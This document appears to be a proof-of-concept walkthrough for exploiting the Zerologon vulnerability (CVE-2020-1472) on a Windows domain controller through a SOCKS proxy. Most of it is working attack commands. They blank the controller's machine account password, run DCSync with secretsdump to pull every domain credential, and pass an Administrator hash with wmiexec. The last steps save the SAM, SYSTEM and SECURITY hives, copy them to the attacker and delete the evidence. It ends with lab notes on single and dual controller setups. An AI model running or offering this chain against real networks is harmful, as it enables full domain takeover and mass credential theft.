CVE-2020-1472 POC

Replicate this vulnerability in a Windows domain environment using proxychains proxy on macOS.

Environment

DC (Primary Domain Controller):

Domain User (Domain Member Host):

Set up a SOCKS5 forward proxy directly via gost.

Attack Hacker (Attacker Machine):

Configure proxychains4

vim  /Users/xq17/.proxychains/proxychains.conf

Add to the ProxyList

[ProxyList] socks5 10.211.55.42 8099

Attack Tools:

1.git clone https://github.com/mstxq17/cve-2020-1472.git
2.pip3 install -r requirements.txt

If this error occurs:

It means the impacket module has an issue. Try uninstalling impacket and install the latest version from GitHub.

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip3 install .

The problem should be resolved.

C# version tool: https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon

Exploit steps

1. First, try to use the domain controller password locally to export the domain machine account hash, making it easier to compare after modification.

   root@kitploit:~

   proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user "DC$"
   
   Or remove the quotes, but note that under Linux, `$` represents a variable, so remember to escape it.
   
   proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user DC\$
   

   

2. Use zerologon_tester.py to verify if the vulnerability exists

   python3 zerologon_tester.py DC 10.211.55.38

   

   Returns "Success", indicating the vulnerability exists.

3. Use cve-2020-1472-exploit.py to reset the machine account

python3 cve-2020-1472-exploit.py dc$ 10.211.55.38

4. Check again if the machine password has been changed to empty.

5. The domain controller's machine account can use DCSync to export all user credentials within the domain.

   Principle:

   

   Use the DRS (Directory Replication Service) protocol to copy user credentials from the domain controller via IDL_DRSGetNCChanges.

   proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass

   

6. Restore the DC$ machine account password Use

   proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass -just-dc | grep 'Administrator'

   Obtain the domain admin hash

   

   

   Then use wmic, pass the hash to gain local admin privileges on the domain controller (domain admin)

   root@kitploit:~

   wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/[email protected]
   

   Then execute the following to copy the local SAM database to the MAC machine

   root@kitploit:~

   - reg save HKLM\SYSTEM system.save
   - reg save HKLM\SAM sam.save
   - reg save HKLM\SECURITY security.save
   - get system.save
   - get sam.save
   - get security.save
   - del /f system.save
   - del /f sam.save
   - del /f security.save
   

Question

Single domain environment:

Works perfectly. After restarting the domain controller, there are no abnormalities, but the DNS of domain member machines may have issues, though it does not affect authentication.

After password recovery:

Dual domain environment, one primary DC and one backup DC01:

Initially obtained the machine hashes of both domain controllers and found they are different.

Attempted to attack the secondary domain controller and found it did not affect the primary domain controller; the ntdis.dit data was also synchronized.

Attempted to attack the primary domain controller, and net time /domain also had errors like in the single domain environment, but after restoring the password, it recovered quickly.

Newly created accounts can synchronize directly.

Password changes also do not affect synchronization.

Personally, I haven't found any domain join issues yet. I recommend following this procedure. If you have any questions, feel free to discuss with me!

Reference

Netlogon Privilege Escalation Vulnerability (CVE-2020-1472) Principle Analysis and Verification

Chinese PDF

NAXG\CVE-2020-1472

Building a Dual Domain Environment